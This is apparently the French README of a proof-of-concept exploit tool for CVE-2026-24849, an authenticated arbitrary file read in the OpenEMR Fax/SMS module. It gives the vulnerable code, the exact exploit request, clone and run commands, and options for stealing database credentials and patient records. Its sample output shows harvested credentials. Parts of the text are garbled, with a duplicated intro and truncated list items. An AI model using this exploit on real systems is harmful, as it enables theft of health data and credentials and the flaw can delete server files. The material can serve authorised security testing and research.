
Preuve de concept d'exploitation pour CVE-2026-24849, une traversée de répertoire / lecture de fichier arbitraire authentifiée dans le module Fax/SMS (EtherFax) d'OpenEMR. Tout utilisateur authentifié, quel que soit son niveau de privilège, peut lire des fichiers arbitraires du système de fichiers du serveur en tant qu'utilisateur du serveur web (identifiants de base de données, documents/PHI des patients, /etc/passwd, …)
disposeDoc)Exploit de preuve de concept pour CVE-2026-24849, un parcours de chemin authentifié / lecture arbitraire de fichiers dans le module Fax/SMS (EtherFax) d'OpenEMR. Tout utilisateur authentifié, quel que soit son niveau de privilège, peut lire des fichiers arbitraires du système de fichiers du serveur en tant qu'utilisateur du serveur web (identifiants de base de données, documents patients/PHI, /etc/passwd, …).
| CVE | CVE-2026-24849 |
| Vulnérabilité | Parcours de chemin / Lecture arbitraire de fichiers (CWE-22) |
| Composant | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| Affecté | OpenEMR < 7.0.4 |
| Corrigé dans | OpenEMR 7.0.4 |
| Authentification | Requise – tout utilisateur, aucun privilège nécessaire |
| Sévérité | NVD 6.5 (Moyen) / GitHub CNA 9.9 (Critique) |
| Testé sur | OpenEMR 7.0.2 – Ubuntu 22.04, PHP 8.1, Apache 2.4 |
La méthode disposeDoc() du module Fax/SMS prend un paramètre de requête file_path fourni par l'appelant, confirme l'existence du fichier, et le transmet directement à readfile() sans canonicalisation du chemin, sans liste blanche, et sans vérification d'autorisation au-delà du fait de posséder une session valide :
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // contrôlé par l'attaquant, non validé
if (file_exists($where)) {
...
readfile($where); // lecture arbitraire de fichier en tant qu'utilisateur web
unlink($where); // ⚠ supprime le fichier après lecture (voir avertissement ci-dessous)
exit;
}
die('Problem with download. Use browser back button');
}
Le gestionnaire est atteint via le répartiteur du module avec un chemin absolu dans file_path (aucune traversée ../ nécessaire) :
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
Un compte à faibles privilèges (ou par défaut) devient une primitive de lecture de fichiers côté serveur complète :
sites/default/sqlconf.phpsites/<site>/documents/, même lorsque ce répertoire est Deny from all dans .htaccess (la lecture se fait sur le disque, contournant Apache)/etc/passwd, code source de l'application, clés/tokens lisibles par l'utilisateur web⚠️ Comportement destructif
disposeDoc()appelleunlink($where)après avoir lu le fichier. Lire un fichier que l'utilisateur du serveur web est autorisé à supprimer le supprimera. Cibler des fichiers appartenant à root (par exemple/etc/passwd,sqlconf.phpsur la plupart des installations) – leur répertoire parent n'est pas inscriptible par l'utilisateur web, doncunlink()échoue et le fichier survit. Soyez délibéré sur ce que vous pointez avec cela.
admin:pass fonctionne souvent).requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
Exécutez-le sans arguments et il demandera tout ce dont il a besoin :
python3 CVE-2026-24849.py
Ou pilotez-le de manière non interactive avec des options :
# lire un seul fichier
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# récupérer les identifiants de la base de données et les enregistrer dans un fichier
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
Si -f est omis, l'outil entre dans une boucle de lecture interactive pour récupérer plusieurs fichiers en une seule session.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests, en conservant la session dans son propre cookie jar (évite la rotation de l'ID de session du navigateur qui rend les cookies copiés obsolètes).disposeDoc, en essayant automatiquement disposeDoc et disposeDocument (le nom de la méthode diffère selon les versions mineures affectées)..htaccess comme seul contrôle.Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite et écrite de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de tout dommage causé par ce logiciel. Notez le comportement destructeur de unlink() décrit ci-dessus.
doany1
MIT – voir LICENSE.
| Option | Description | Défaut |
|---|
-t, --target | URL de base, p.ex. http://10.10.10.10 | demandé |
-u, --user | Nom d'utilisateur OpenEMR | admin |
-P, --password | Mot de passe OpenEMR | demandé (caché) |
-s, --site | Identifiant de site OpenEMR | default |
-f, --file | Chemin absolu du fichier distant à lire | boucle interactive si omis |
-o, --output | Enregistrer le fichier récupéré localement au lieu de l'afficher |